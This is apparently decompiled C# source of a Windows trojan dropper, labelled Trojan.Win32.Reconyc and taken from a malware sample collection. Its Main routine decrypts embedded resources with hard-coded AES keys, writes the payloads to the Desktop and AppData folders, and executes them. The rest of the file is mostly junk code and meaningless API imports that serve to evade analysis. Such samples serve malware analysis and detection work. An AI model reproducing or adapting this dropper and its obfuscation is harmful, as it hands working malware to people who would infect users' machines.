// Decompiled with JetBrains decompiler // Type: ÎÙ8ÑÍ // Assembly: bp3cxhjs, Version=1.0.48.5, Culture=neutral, PublicKeyToken=null // MVID: BD053CB7-DAC8-4783-BCAC-74145524855E // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Reconyc.egjq-cde6c4ee7c4f180c803cddbd3b786ea77c40439e414a435210f01b6119f69e25.exe using Microsoft.VisualBasic.CompilerServices; using System; using System.Diagnostics; using System.IO; using System.Reflection; using System.Resources; using System.Runtime.InteropServices; using System.Security.Cryptography; using System.Text; [StandardModule] internal sealed class ÎÙ8ÑÍ { public static byte[] ËuÖÒÆ(long zwÊu, byte[] tË, int h1Çdº5, double tÑwkbm, bool ÛÖËci9) { ushort num1 = 7; do { ++num1; } while (num1 <= (ushort) 79); byte[] numArray = new byte[13] { (byte) 199, (byte) 211, (byte) 212, (byte) 21, (byte) 184, (byte) 32, (byte) 41, (byte) 86, (byte) 57, (byte) 247, (byte) 108, (byte) 16, (byte) 71 }; ushort num2 = 14; do { if (false) ; if (false) ; ++num2; } while (num2 <= (ushort) 102); using (RijndaelManaged rijndaelManaged = new RijndaelManaged()) { if (true) { int num3 = 17; do { if (false) ; ++num3; } while (num3 <= 82); if (false) ; } Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(numArray, numArray, 1); rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes((int) Math.Round((double) rijndaelManaged.KeySize / 8.0)); rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes((int) Math.Round((double) rijndaelManaged.BlockSize / 8.0)); return rijndaelManaged.CreateDecryptor().TransformFinalBlock(tË, 0, tË.Length); } } public static string ÏÕt8Ï(string rvÆÝ, sbyte fËÃ_a) { if (false) { int num = 14; do { ++num; } while (num <= 82); if (false) ; } DateTime now = DateTime.Now; return Encoding.UTF8.GetString(ÎÙ8ÑÍ.ËuÖÒÆ(-759707257L, Convert.FromBase64String(rvÆÝ), 1568811234, -9302.926, true)); } public static void cÑm( double f9i, byte[] Æ0rÈÒm, DateTime bmÐÎ, Decimal ÓÏßtol, string cÑm, bool Ñsº) { int num1 = 6; do { ++num1; } while (num1 <= 56); ushort num2 = 2; do { byte num3 = 20; do { ++num3; } while (num3 <= (byte) 55); ++num2; } while (num2 <= (ushort) 79); File.WriteAllBytes(cÑm, Æ0rÈÒm); if (true) { uint num4 = 11; do { ++num4; } while (num4 <= 42U); float num5 = 10f; do { sbyte num6 = 9; do { ++num6; } while (num6 <= (sbyte) 23); ++num5; } while ((double) num5 <= 71.0); } Process.Start(cÑm); } public static string ÊrÆq(string oÓÂ_mÕ, Environment.SpecialFolder fßßÈÀ, sbyte ºÕØ) { if (true) ; bool flag = false; ushort num = 9; do { ++num; } while (num <= (ushort) 52); if (flag) { if (false) ; } return Path.Combine(Environment.GetFolderPath(fßßÈÀ), oÓÂ_mÕ); } [STAThread] public static void Main() { if (false) ; if (false) ; string str = "MD\\%pS@"; int index = 0; for (int length = str.Length; index < length; ++index) { char ch = str[index]; } ResourceManager resourceManager = new ResourceManager("s02tdiur", Assembly.GetExecutingAssembly()); ÎÙ8ÑÍ.cÑm(8355.0, ÎÙ8ÑÍ.ËuÖÒÆ(0L, (byte[]) resourceManager.GetObject(ÎÙ8ÑÍ.ÏÕt8Ï("PujtvOVg0SXcYRFm69qQiA==", (sbyte) 80)), 0, 29172.69, true), DateTime.Now, 1930691046M, ÎÙ8ÑÍ.ÊrÆq(ÎÙ8ÑÍ.ÏÕt8Ï("xQsz3w52js5Uz7ON//Ll0hLlH0xz2Pl5AILadsRH4xg=", (sbyte) -59), Environment.SpecialFolder.Desktop, (sbyte) -8), false); ÎÙ8ÑÍ.cÑm(-23311.4812, ÎÙ8ÑÍ.ËuÖÒÆ(1460762697L, (byte[]) resourceManager.GetObject(ÎÙ8ÑÍ.ÏÕt8Ï("M/nMZ7TQBO16JMzESdA8rg==", (sbyte) 0)), 0, -19367.0, false), DateTime.Now, -645235064M, ÎÙ8ÑÍ.ÊrÆq(ÎÙ8ÑÍ.ÏÕt8Ï("CT/UmuIeQeWGgm4SKshifg==", (sbyte) 100), Environment.SpecialFolder.ApplicationData, (sbyte) -110), true); } public class h5Ó0ßß { [DebuggerNonUserCode] public h5Ó0ßß() { } public ulong Év2th(string Ý) { if (true) { if (true) ; ulong num1 = 2; do { ++num1; } while (num1 <= 50UL); string str = "7yQ,/k"; int index = 0; for (int length = str.Length; index < length; ++index) { char ch = str[index]; } byte num2 = 11; do { ++num2; } while (num2 <= (byte) 27); } return 0; } public void Ô(float ËvÍß, int pÇf, string yÐ4) { float num = 2f; do { if (false) ; ++num; } while ((double) num <= 117.0); if (false) ; } public void ÇiÞwÝa(float v7Ð, short ÌØv9Æ, string qi, sbyte Ðad) { if (false) ; uint num = 0; do { ++num; } while (num <= 126U); } public class Ök4Õ { private byte Ð5Éd1; public Ök4Õ() => this.Ð5Éd1 = (byte) 117; public DateTime n7t(int mzp4ÛÒ, string ßÀ, long lÚØÌ, uint Ìvvg, double Ðrp) { string str = ",kDO=~;9/+K"; int index = 0; for (int length = str.Length; index < length; ++index) { char ch = str[index]; if (true) ; } return DateTime.MinValue; } public class Óß5mÐ { private sbyte Ïnpi; [DebuggerNonUserCode] public Óß5mÐ() { } public void ÑÈ() { string str = "qm{`8QxQ"; int index = 0; for (int length = str.Length; index < length; ++index) { char ch = str[index]; } } public delegate uint ÄiÂ2dr(int ÈeÁͺÏ, DateTime ÍhØܺÌ, DateTime yÐs7Ð, uint x); } public delegate uint va(); public class dÀ { private double z; private Decimal ÐyÌhË; public dÀ() { this.z = -12213.89; this.ÐyÌhË = 1969821777M; } public void vÓÖ1xe(Decimal ÍbmÀu, ulong rbÇÍÆ, byte oËÚÉ, Decimal ÂÒx2Ñ) { if (false) ; ushort num = 15; do { ++num; } while (num <= (ushort) 95); } public void eŵ11Ë(byte ÓÝ) { if (false) return; DateTime now = DateTime.Now; } public class ÒÐ0 { private short ÊÜÓf0b; public ÒÐ0() => this.ÊÜÓf0b = (short) 24874; public void ßÈ() { Decimal limit = 40M; for (Decimal num = 13M; ObjectFlowControl.ForLoopControl.ForNextCheckDec(num, limit, 1M); num = Decimal.Add(num, 1M)) { if (false) ; } } public delegate void Ï9ÓÝÕÆ(Decimal ln8Ð4q); public delegate void sÒÐÐg(long Ïp); public delegate string Åtpq(string Ä2_r_, string dbÂ); public delegate byte ßÏt(float ÒxÓ5s, byte Ïsarx, bool Û_); public class vfÛÞ { [DebuggerNonUserCode] public vfÛÞ() { } public int rjaÃxµ(ushort t0, sbyte Þ) { string str1 = "T5g<+"; int index1 = 0; for (int length1 = str1.Length; index1 < length1; ++index1) { char ch1 = str1[index1]; float num1 = 8f; do { uint num2 = 13; do { if (false) ; ++num2; } while (num2 <= 65U); ++num1; } while ((double) num1 <= 62.0); string str2 = "=)"; int index2 = 0; for (int length2 = str2.Length; index2 < length2; ++index2) { char ch2 = str2[index2]; sbyte num3 = 16; do { ++num3; } while (num3 <= (sbyte) 39); } } return 0; } public uint un(ushort lÍkÉi, uint jÎnbÎv, float µqÂÞÎa, ulong ÙÞÖÏß, uint cr0) { int num1 = 6; do { float num2 = 10f; do { ++num2; } while ((double) num2 <= 61.0); float num3 = 4f; do { double num4 = 20.0; do { ++num4; } while (num4 <= 95.0); ++num3; } while ((double) num3 <= 41.0); string str1 = "FioIxa"; int index1 = 0; for (int length1 = str1.Length; index1 < length1; ++index1) { char ch1 = str1[index1]; if (true) ; uint num5 = 18; do { if (true) ; ++num5; } while (num5 <= 63U); if (false) ; string str2 = "poI`+"; int index2 = 0; for (int length2 = str2.Length; index2 < length2; ++index2) { char ch2 = str2[index2]; } } ++num1; } while (num1 <= 26); return 1661610267; } public float zkÌz(byte ºº3ÒØ, float Ûq) { if (false) ; if (true) { Decimal limit = 50M; Decimal num = 18M; while (ObjectFlowControl.ForLoopControl.ForNextCheckDec(num, limit, 1M)) num = Decimal.Add(num, 1M); if (false) ; } ushort num1 = 5; do { ++num1; } while (num1 <= (ushort) 97); return -13131f; } } } public delegate uint Ê(int ÕhÁ, uint Üx78m, float ÍeÄ, ushort kʺxÕØ, DateTime jÛo); public class ÒÀÔ { private long g4Ë0; private string f; public ÒÀÔ() => this.g4Ë0 = 0L; [DllImport("wtsapi32", CharSet = CharSet.Ansi, SetLastError = true)] public static extern short efk(Decimal jlÖÝ, short ÑÌ, long sÎÐa, ushort Ör); public void r(float azm4ºc) { } public double ßÕ(sbyte iÕÞÛi, float ÂÖwß) { if (false) ; return -17359.0; } public delegate void ºÁÖcwº(Decimal eua06, Decimal o5ÒÎ, ushort bÒÖzmÝ); public class q2xÎr8 { private ushort ÔgÆtÂ; public q2xÎr8() => this.ÔgÆt = (ushort) 2; } public class ÐÁݺßj { private int ÂÉÊÞ; public ÐÁݺßj() => this.ÂÉÊÞ = 77624075; public void fÆuf2(sbyte u1ÞÌ, float ÎÅÀÅ2o, int iÓ, sbyte g, ushort Ò) { string str1 = "*~j9"; int index1 = 0; for (int length1 = str1.Length; index1 < length1; ++index1) { char ch1 = str1[index1]; string str2 = "]iNVm,?s{N;"; int index2 = 0; for (int length2 = str2.Length; index2 < length2; ++index2) { char ch2 = str2[index2]; string str3 = "(e/fm't"; int index3 = 0; for (int length3 = str3.Length; index3 < length3; ++index3) { char ch3 = str3[index3]; } bool flag = false; if (true) ; if (flag) { if (true) ; long num = 1; do { ++num; } while (num <= 85L); } } } } [DllImport("gdiplus", CharSet = CharSet.Ansi, SetLastError = true)] public static extern long zÒa( DateTime pß1ÝÙ, [MarshalAs(UnmanagedType.VBByRefStr)] ref string ug0Èj, long fÎiyÛ, [MarshalAs(UnmanagedType.VBByRefStr)] ref string gj, byte ÆnÔhkl); public class ÍßpÓg { private uint È3Ü; private byte Æ_i4dÏ; private float m2dÇaÆ; public ÍßpÓg() { this.È3Ü = 1922996858U; this.Æ_i4dÏ = (byte) 144; } public void ÀÜj(DateTime hßØßoÎ, int xjh) { if (true) { string str = "&#B=7i["; int index = 0; for (int length = str.Length; index < length; ++index) { char ch = str[index]; } } if (false) ; } public delegate float yÿß(long jao, Decimal ÃÒrµ5, float ÂÏÐzh, string µmc); public delegate void yÕÕu(); } public class e1 { [DebuggerNonUserCode] public e1() { } public void qÄ() { bool flag = true; Decimal limit = 80M; for (Decimal num1 = 18M; ObjectFlowControl.ForLoopControl.ForNextCheckDec(num1, limit, 1M); num1 = Decimal.Add(num1, 1M)) { int num2 = 3; do { ++num2; } while (num2 <= 32); } if (!flag) return; if (true) { if (false) ; if (false) ; } } public string Áaÿdo5(byte È5xÃ2, uint ÞcÖt, Decimal wÐfÞ, float ÎwvÐv, double ÔÓ) { if (false) ; string str = " -31178.26f; public delegate Decimal ÒpzÍxy(double Îzß, ushort ÎÛß); public delegate void ÜdujÛs(string Ïu); } } public delegate ushort ßqdp(short cÑÄsË, uint Ùß98); } public class ÏiqÕÄ { private DateTime yÇÝuÐÖ; private long ÓoÍ; private Decimal h_ÒË; private byte qÓ; public ÏiqÕÄ() { this.yÇÝuÐÖ = DateTime.Now; this.ÓoÍ = 0L; this.h_ÒË = 0M; this.qÓ = (byte) 44; } public uint d6ÉÛ(double ÇÊl4_f, uint cÏÃ6ÖÎ, sbyte ÿÂ1dÉo, bool ÃÇhÿÇ) { if (false) ; bool flag = true; string str1 = "SGfILg~b"; int index1 = 0; for (int length = str1.Length; index1 < length; ++index1) { char ch = str1[index1]; } if (flag) { if (false) ; string str2 = "?O"; int index2 = 0; for (int length = str2.Length; index2 < length; ++index2) { char ch = str2[index2]; } } float num = 1f; do { ++num; } while ((double) num <= 105.0); return 1758312084; } public short Â(float ÓÍÔv8Ê, int ÊvÒfÃ, ushort xvÁÊm) { string str1 = "E-;>=6,CXJ\\"; int index1 = 0; for (int length1 = str1.Length; index1 < length1; ++index1) { char ch1 = str1[index1]; string str2 = ",G#y'"; int index2 = 0; for (int length2 = str2.Length; index2 < length2; ++index2) { char ch2 = str2[index2]; } short num = 13; do { ++num; } while (num <= (short) 28); } return 0; } public void ho(float s2zÈ, string dË, uint ruÒ, double e3Çm) { if (false) return; short num = 19; do { if (false && false) { string str = ")8fL@!WpIH"; int index = 0; for (int length = str.Length; index < length; ++index) { char ch = str[index]; } } ++num; } while (num <= (short) 35); } public void r9p(byte k7, ushort nqË, sbyte ÚpaÈc) { if (false) ; string str1 = "S9AUxrUDe#"; int index1 = 0; for (int length1 = str1.Length; index1 < length1; ++index1) { char ch1 = str1[index1]; int num = 0; do { ++num; } while (num <= 57); string str2 = "rE''~O&_D"; int index2 = 0; for (int length2 = str2.Length; index2 < length2; ++index2) { char ch2 = str2[index2]; } } } public delegate uint Âm(float ofÒxgp, sbyte eÙÊÎÍ); public delegate void ÆÐqg(int zÉv, ulong ÓÌ, uint ߺÞÐ); public class ÀjtÒ3 { [DebuggerNonUserCode] public ÀjtÒ3() { } public class ÞÙ { [DebuggerNonUserCode] public ÞÙ() { } public class ÉgvoÃu { private bool k0wÂse; public ÉgvoÃu() => this.k0wÂse = true; public sbyte ÆÃotÙÕ(sbyte kÎÕ, sbyte cz9º, bool efÇyÛ) { if (true) { sbyte num1 = 12; do { ++num1; } while (num1 <= (sbyte) 36); if (true) ; ushort num2 = 13; do { ++num2; } while (num2 <= (ushort) 53); ushort num3 = 12; do { uint num4 = 16; do { ++num4; } while (num4 <= 39U); short num5 = 17; do { ++num5; } while (num5 <= (short) 125); ++num3; } while (num3 <= (ushort) 52); } return 103; } [DllImport("mpr", CharSet = CharSet.Ansi, SetLastError = true)] public static extern float nÎ6u(DateTime a, ulong ÅÐmvµf); [DllImport("hlink", CharSet = CharSet.Ansi, SetLastError = true)] public static extern double n6d7Á5( ulong udÙ, long ºÅeËÑÚ, sbyte µz8ÈÁ, long µË4l); public void Ð14(int aÕÇÄ2, int Ç, short kÊxÚzØ, float Ïÿu_, uint ÜÃ) { if (false) return; if (true) { Decimal limit = 43M; Decimal num = 6M; while (ObjectFlowControl.ForLoopControl.ForNextCheckDec(num, limit, 1M)) num = Decimal.Add(num, 1M); } bool flag = false; DateTime now = DateTime.Now; if (!flag) ; if (false) ; if (true) ; ushort num1 = 16; do { ++num1; } while (num1 <= (ushort) 70); if (true) ; } [DllImport("gdi32", CharSet = CharSet.Ansi, SetLastError = true)] public static extern void ÍÌÑÇ( ulong fxÚlÜ, int ÞÝÐ, double wÇ, long Áu, short Îko); public delegate short im_ei(string iggÃ, double mÜ, ushort ij1nÞÍ, int ÎÝ8º); public delegate int ÕË(); public class ÆÃiÅÆq { private float È; public ÆÃiÅÆq() => this.È = 0.0f; [DllImport("opengl32", CharSet = CharSet.Ansi, SetLastError = true)] public static extern int jß(); public delegate uint ÿÅf4pe(ushort rÜ, byte t, int gµbÖ, DateTime m4xÎÒ); public class ØÑÊ { [DebuggerNonUserCode] public ØÑÊ() { } } } } public class b4c { [DebuggerNonUserCode] public b4c() { } } } } } public delegate int hrÜ9Ü(ushort ÂØ, double Æ, byte ÐÏ, int ez8h4, bool tÉÎx2); } public delegate Decimal Èn(string ÞgÃÚ, byte ÄÆÉlÖ, sbyte iº, bool ÛÄÝÆv4); } } public delegate int Çÿ6(double yÆ, string ÏÓk, sbyte nd, uint ÕdÏÎ6Ó, string Ñ); } public class µ8 { [DebuggerNonUserCode] public µ8() { } } public class wÌ { [DebuggerNonUserCode] public wÌ() { } } public delegate Decimal Ãz(); public class ÌÎÞ { [DebuggerNonUserCode] public ÌÎÞ() { } } public delegate sbyte µmfÖ(); } }